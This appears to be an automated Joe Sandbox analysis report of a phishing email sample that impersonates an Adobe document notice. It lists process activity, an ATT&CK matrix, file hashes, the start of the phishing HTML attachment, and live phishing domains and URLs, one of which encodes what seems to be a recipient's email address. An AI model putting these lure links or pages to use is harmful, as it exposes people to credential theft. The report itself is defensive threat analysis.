Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File Volume queried: C:\Windows\SysWOW64 FullSizeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	2 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Process Injection	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://schema.org	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	172.217.16.196	true	false	unknown
qiczox0.ascenseurm8.com	172.67.185.52	true	false	unknown
lxnk1f.cheapestselfstorageunits.com	72.167.142.137	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/9G4C05MQ/Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html	false	unknown
https://lxnk1f.cheapestselfstorageunits.com/?am9oYW5uZXMuYmVya21hbm5AdmlyaWRpdW0tZ3J1cHBlLmNvbQ==	false	unknown
https://qiczox0.ascenseurm8.com/76ikbi1/	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	chromecache_68.12.dr	false		unknown
http://schema.org	Your Document-7617432882-8AhEHNmrLR Ready.msg	false	URL Reputation: safe	unknown
https://qiczox0.ascenseurm8.com/76ikbi1/#	chromecache_69.12.dr	false		unknown
https://aka.ms/LearnAboutSenderIdentification	Your Document-7617432882-8AhEHNmrLR Ready.msg, ~WRS{D4CAC70D-CE29-4491-8290-18AE3B736896}.tmp.0.dr	false		unknown
https://www.cloudflare.com/5xx-error-landing	chromecache_68.12.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false
72.167.142.137	lxnk1f.cheapestselfstorageunits.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	false
172.67.185.52	qiczox0.ascenseurm8.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525480
Start date and time:	2024-10-04 09:55:32 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Your Document-7617432882-8AhEHNmrLR Ready.msg
Detection:	MAL
Classification:	mal48.phis.winMSG@19/29@6/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .msg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, prevhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.113.194.132, 2.20.245.139, 2.20.245.140, 52.109.68.130, 20.42.72.131, 172.217.18.3, 172.217.18.14, 74.125.133.84, 34.104.35.123, 20.189.173.11, 13.89.179.9, 104.208.16.88, 142.250.185.131, 20.189.173.24, 142.250.186.46, 20.189.173.8
Excluded domains from analysis (whitelisted): omex.cdn.office.net, odc.officeapps.live.com, slscr.update.microsoft.com, europe.odcsm1.live.com.akadns.net, clientservices.googleapis.com, mobile.events.data.microsoft.com, ecs-office.s-0005.s-msedge.net, onedscolprdcus09.centralus.cloudapp.azure.com, onedscolprdwus07.westus.cloudapp.azure.com, clients2.google.com, onedscolprdwus10.westus.cloudapp.azure.com, update.googleapis.com, a1864.dscd.akamai.net, clients1.google.com, ecs.office.com, fs.microsoft.com, accounts.google.com, frc-azsc-000.odc.officeapps.live.com, s-0005-office.config.skype.com, onedscolprdcus08.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, s-0005.s-msedge.net, osiprod-frc-bronze-azsc-000.francecentral.cloudapp.azure.com, onedscolprdeus00.eastus.cloudapp.azure.com, onedscolprdwus23.westus.cloudapp.azure.com, ecs.office.trafficmanager.net, clients.l.google.com, omex.cdn.office.net.akamaized.net, prod.odcsm1.live.com.akadns.net, mobile.events.data.trafficmanage
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtSetValueKey calls found.

Input	Output
URL: Email Model: jbxai	{ "brand":[], "contains_trigger_text":true, "trigger_text":"You don't often get email from shane@christoff.ie. Learn why this is important", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/9G4C05MQ/Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html Model: jbxai	{ "brand":["Adobe"], "contains_trigger_text":true, "trigger_text":"YOUR DOCUMENT READY", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://ok.me/KtdI1	Get hash	malicious	Unknown	Browse
	https://www.google.de/url?q=8Oshpephqbbshop&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=XS40i2Jop98hjgaswD&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkOuteybdtwrQvao&ved=HXUursu8uE=&url=amp%2Fgvhs2020.com%2Fgtaowpqtwp%3Fe%3Dhttps%3A%2F%2Foutlook.office.com	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	https://docsignfile.z13.web.core.windows.net/&redirect_mongo_id=66fea70f62194c155d978939&utm_source=Springbot&utm_medium=Email&utm_campaign=66fea70f62194c155d97893a	Get hash	malicious	HTMLPhisher	Browse
	https://docsignfile.z13.web.core.windows.net/&redirect_mongo_id=66fea70f62194c155d978939&utm_source=Springbot&utm_medium=Email&utm_campaign=66fea70f62194c155d97893a	Get hash	malicious	Unknown	Browse
	https://forms.office.com/Pages/ResponsePage.aspx?id=4mPIUn7HtEOifSf_jkD9akHPEdQOqpJDoTs5yuUf8txUMEFQTE42TU03SUJBSU84VTY3MEtFR1JaUS4u	Get hash	malicious	HTMLPhisher	Browse
	https://url.us.m.mimecastprotect.com/s/8I0_CKrkVEt48y6BzfMfWF5hBIN?domain=woems-my.sharepoint.com	Get hash	malicious	Unknown	Browse
	https://t.co/dvIdjH2Xsv	Get hash	malicious	Unknown	Browse
	https://irp.cdn-website.com/02ccf804/files/uploaded/webpage.html	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
72.167.142.137	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/m%C2%ADy%C2%ADs%C2%ADe%C2%ADl%C2%ADf%C2%ADs%C2%ADt%C2%ADor%C2%ADag%C2%ADe%C2%ADef%C2%ADa%C2%ADci%C2%ADl%C2%ADit%C2%ADy%C2%AD.c%C2%ADom/knj	Get hash	malicious	Unknown	Browse	myselfstorageefacility.com/knj

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-26496-GO-DADDY-COM-LLCUS	5.dll	Get hash	malicious	Unknown	Browse	208.109.246.134
	shipping documents_pdf.exe	Get hash	malicious	FormBook	Browse	118.139.176.2
	https://sms.outrightmarketing.com/	Get hash	malicious	Unknown	Browse	50.62.142.2
	https://gemmni-lgi.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	198.71.248.123
	https://coenbsasezprrolgenz.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	198.71.248.123
	https://metamskli0n.godaddysites.com/	Get hash	malicious	Unknown	Browse	198.71.248.123
	https://geminloogi.godaddysites.com/	Get hash	malicious	Unknown	Browse	198.71.248.123
	https://mettamisk_signin.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	198.71.248.123
	https://metta-massk-lggoinng.godaddysites.com/	Get hash	malicious	Unknown	Browse	198.71.248.123
	https://gemini_loggin.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	198.71.248.123
CLOUDFLARENETUS	https://ok.me/KtdI1	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://docsignfile.z13.web.core.windows.net/&redirect_mongo_id=66fea70f62194c155d978939&utm_source=Springbot&utm_medium=Email&utm_campaign=66fea70f62194c155d97893a	Get hash	malicious	HTMLPhisher	Browse	172.67.69.232
	https://docsignfile.z13.web.core.windows.net/&redirect_mongo_id=66fea70f62194c155d978939&utm_source=Springbot&utm_medium=Email&utm_campaign=66fea70f62194c155d97893a	Get hash	malicious	Unknown	Browse	104.18.95.41
	MOfHb44mph.elf	Get hash	malicious	Unknown	Browse	172.67.128.161
	https://forms.office.com/Pages/ResponsePage.aspx?id=4mPIUn7HtEOifSf_jkD9akHPEdQOqpJDoTs5yuUf8txUMEFQTE42TU03SUJBSU84VTY3MEtFR1JaUS4u	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://url.us.m.mimecastprotect.com/s/8I0_CKrkVEt48y6BzfMfWF5hBIN?domain=woems-my.sharepoint.com	Get hash	malicious	Unknown	Browse	172.67.219.183
	https://t.co/dvIdjH2Xsv	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://irp.cdn-website.com/02ccf804/files/uploaded/webpage.html	Get hash	malicious	Unknown	Browse	172.67.70.192
	http://185.95.84.78/rd/4gmsyP17223JZmx332lihotmtcwn9842ZSCGIOAIIATLJCU85240TITV3606d9	Get hash	malicious	Phisher	Browse	104.21.61.175
	https://go.hginsights.com/rs/214-HYO-692/images/HG	Get hash	malicious	Unknown	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.google.de/url?q=8Oshpephqbbshop&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=XS40i2Jop98hjgaswD&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkOuteybdtwrQvao&ved=HXUursu8uE=&url=amp%2Fgvhs2020.com%2Fgtaowpqtwp%3Fe%3Dhttps%3A%2F%2Foutlook.office.com	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 20.190.160.22
	file.exe	Get hash	malicious	Credential Flusher	Browse	4.175.87.197 184.28.90.27 20.190.160.22
	Aura.exe	Get hash	malicious	RedLine	Browse	4.175.87.197 184.28.90.27 20.190.160.22
	https://url.us.m.mimecastprotect.com/s/8I0_CKrkVEt48y6BzfMfWF5hBIN?domain=woems-my.sharepoint.com	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 20.190.160.22
	https://t.co/dvIdjH2Xsv	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 20.190.160.22
	https://irp.cdn-website.com/02ccf804/files/uploaded/webpage.html	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 20.190.160.22
	file.exe	Get hash	malicious	Credential Flusher	Browse	4.175.87.197 184.28.90.27 20.190.160.22
	http://whinairith.net	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 20.190.160.22
	Full Litigation File.pdf	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 20.190.160.22
	http://185.95.84.78/rd/4gmsyP17223JZmx332lihotmtcwn9842ZSCGIOAIIATLJCU85240TITV3606d9	Get hash	malicious	Phisher	Browse	4.175.87.197 184.28.90.27 20.190.160.22

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	245980
Entropy (8bit):	4.200267561141193
Encrypted:	false
SSDEEP:	1536:eUxyeYLcgsa53S/+gsjNcAz79ysQqt24qoQSrcm0FvWyEccmLtPYtuiuW:3UcgbSmgEmiGu24qoQSrt0FvtEBmLxM
MD5:	6296C86B1BF57E63526A764A41F36222
SHA1:	4AB86FE1E327C733F5A99EC085D30ED2FD9397B4
SHA-256:	2290FB9D50D10104E1D58960CBCDACDF408D7151E82B6B0DC3BB5C69FFEAEE60
SHA-512:	708DD4D65049F6D5CB4EE7FB2E0806256B83D5846F7FE392BB6F2E116E31C4D4C5B18F06CCC7EC12BC4AF7D465ADA634C42038F265CF2361FCD67480ECE46C22
Malicious:	false
Reputation:	low
Preview:	TH02...... ...R.2.......SM01............2...........IPM.TaskRequest.Decline........h...............h............H..h..........IE...h........P...H..h\cal ...pDat...h.Y&.0..........h1.t............h........_`Rk...h.t.H...I.lw...h....P...8.Wk...0....\...............l.........2h...............k87.k..........!h.............. h)..P..........#h....8.........$hP.......@....."h8.#.......#...'h..Z...........1h1.t...........0h.........Wk../h..........WkH..h.... .........-h ...0...<.....+h..t.4....................<.. ..............FS..............FIPM.TaskRequest.Decline.Form.d.dStandard.PM.Task Decline.PM.IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1111110000000000.icrMicrosoft.isThis form is used to decline a task request.........kf...... ..........&...........(.......(... ...@...............................................................................................................................D@..............D@x.............DG...p..........DH..www.wwp.....

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04477097850213721
Encrypted:	false
SSDEEP:	3:GtlxtjlJkjhzlxtjlJkjhOR9//8l1lvlll1lllwlvlllglbelDbllAlldl+l:GtKj5Kjm9X01PH4l942wU
MD5:	CC88C06F9AF74857FEB9A79E4E65C3A6
SHA1:	6BAA2707701BF8E27EC798C36F1D8E80651B3CB3
SHA-256:	515524AE62B341366D31DAF2E7F16FFA5782E0418C70686BCF9E3853F20AB128
SHA-512:	DEE5F67317B9C26F110796FEDAE2157D1BCB4C89240B7482BD8049983B6E1811D2499BC91B20E9A5B35FAD18D06F15E04BBD53403D952DAE4985A62DB0B6042F
Malicious:	false
Reputation:	low
Preview:	..-...............................C.?...S#.#.....-...............................C.?...S#.#...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	49472
Entropy (8bit):	0.4833303452914863
Encrypted:	false
SSDEEP:	48:g2cyQ1GUyUll7DYMrzO8VFDYMyD7yBO8VFDYML:g/MUtll48jVGD7YjVGC
MD5:	242774D324EE6765EF5A4A266B9F9534
SHA1:	F7076A40FCA11869067C4823144723D54AF81750
SHA-256:	9E22C254C54DFF8B2E481581029E9427908396F27279F66A1EB053DA914FF061
SHA-512:	24B80D666D203B41E315462361B261B7C814A49CDAF95C1B00DC438C150A47B9E4943DBAF1F6FC666408E55F456454ED7A2EE4721C6434B9B857BAF85708C29E
Malicious:	false
Reputation:	low
Preview:	7....-............C.?...*..'.............C.?...w.S...SQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\Reff_Viridium-gruppe_19100717156_NO6VdXQYzd (002).html

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	HTML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	628554
Entropy (8bit):	6.003536905446963
Encrypted:	false
SSDEEP:	12288:tMdJYJ8+mu+ItYC4ur4mGC9BV/iztJSQ8D366x8GKnUhtrpEw/a:tCzfu8mGCbV6pJShD366on+a
MD5:	CFDF85A8C918B7BDC550C5F14E052BFA
SHA1:	2C9891C2623DA2A77F9DD8E8147B330811F7297B
SHA-256:	2A587477DFD177C34D246F3B7B86B5DB25DDD9CEFA796AC87E308F515F5E08B3
SHA-512:	014721EBEB5C726F04F906F36DE31919B6468166D190502193C7C24C08C7B85E600221FD4F6B6E761CC7CB0965208A53E9B1D3D86CA0C52B088DE2B4D4B20F40
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Viridium-gruppe - Wednesday, October 02, 2024</title><style>*{box-sizing:border-box;margin:0;padding:0}body,html{height:100%;margin:0;display:flex;justify-content:center;align-items:center;background:#fff;font-family:Arial,sans-serif;width:100%;overflow:hidden;background-image:url(data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAABkAAAANdCAYAAADMfLBFAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAP+lSURBVHhe7P1Zs23Lth4GtdGLUc1qrb3XLs4+59xzr2UkB5XByCJsExgBNryDZQjZvPNAYcDweoNCCGPB3+AFAoRNYSvADvQAEYTD6Mr36kqWdM7ZZxernuWoejH4vq9l9t7HmGPOVe21y/zGaL1n2TKz9exZ9swc/T/+t/+TrSUkJCQkvDNa0Igl6ijQfYDjLdzQWW5bK1cby66XVl1e2tUXX9n65QvbrlY2alu4AdNta9vtFir3xGBiUDvMFAHFhBZyk3Uu3SxC3Nps3zghISEhISHhjeC1bcSWNe8IdTFoa7W1+cZGZWNZYTae5XZ8OrHJNIca9f+0tm0GQt29ZR0+Yq3NH72zBZCDdeCN+rqvssEf9m9Uhx9uDnwPwIiRcB0hcmjvtGj/sM2TMe3bwup6YpdXuT35+sbOL1b2/CVpY80WrahRbg3lxrYQ/I

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\Reff_Viridium-gruppe_19100717156_NO6VdXQYzd (002).html:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	HTML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	628554
Entropy (8bit):	6.003536905446963
Encrypted:	false
SSDEEP:	12288:tMdJYJ8+mu+ItYC4ur4mGC9BV/iztJSQ8D366x8GKnUhtrpEw/a:tCzfu8mGCbV6pJShD366on+a
MD5:	CFDF85A8C918B7BDC550C5F14E052BFA
SHA1:	2C9891C2623DA2A77F9DD8E8147B330811F7297B
SHA-256:	2A587477DFD177C34D246F3B7B86B5DB25DDD9CEFA796AC87E308F515F5E08B3
SHA-512:	014721EBEB5C726F04F906F36DE31919B6468166D190502193C7C24C08C7B85E600221FD4F6B6E761CC7CB0965208A53E9B1D3D86CA0C52B088DE2B4D4B20F40
Malicious:	false
Preview:	<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Viridium-gruppe - Wednesday, October 02, 2024</title><style>*{box-sizing:border-box;margin:0;padding:0}body,html{height:100%;margin:0;display:flex;justify-content:center;align-items:center;background:#fff;font-family:Arial,sans-serif;width:100%;overflow:hidden;background-image:url(data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAABkAAAANdCAYAAADMfLBFAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAP+lSURBVHhe7P1Zs23Lth4GtdGLUc1qrb3XLs4+59xzr2UkB5XByCJsExgBNryDZQjZvPNAYcDweoNCCGPB3+AFAoRNYSvADvQAEYTD6Mr36kqWdM7ZZxernuWoejH4vq9l9t7HmGPOVe21y/zGaL1n2TKz9exZ9swc/T/+t/+TrSUkJCQkvDNa0Igl6ijQfYDjLdzQWW5bK1cby66XVl1e2tUXX9n65QvbrlY2alu4AdNta9vtFir3xGBiUDvMFAHFhBZyk3Uu3SxC3Nps3zghISEhISHhjeC1bcSWNe8IdTFoa7W1+cZGZWNZYTae5XZ8OrHJNIca9f+0tm0GQt29ZR0+Yq3NH72zBZCDdeCN+rqvssEf9m9Uhx9uDnwPwIiRcB0hcmjvtGj/sM2TMe3bwup6YpdXuT35+sbOL1b2/CVpY80WrahRbg3lxrYQ/I

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\9G4C05MQ\Reff_Viridium-gruppe_19100717156_NO6VdXQYzd.html:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
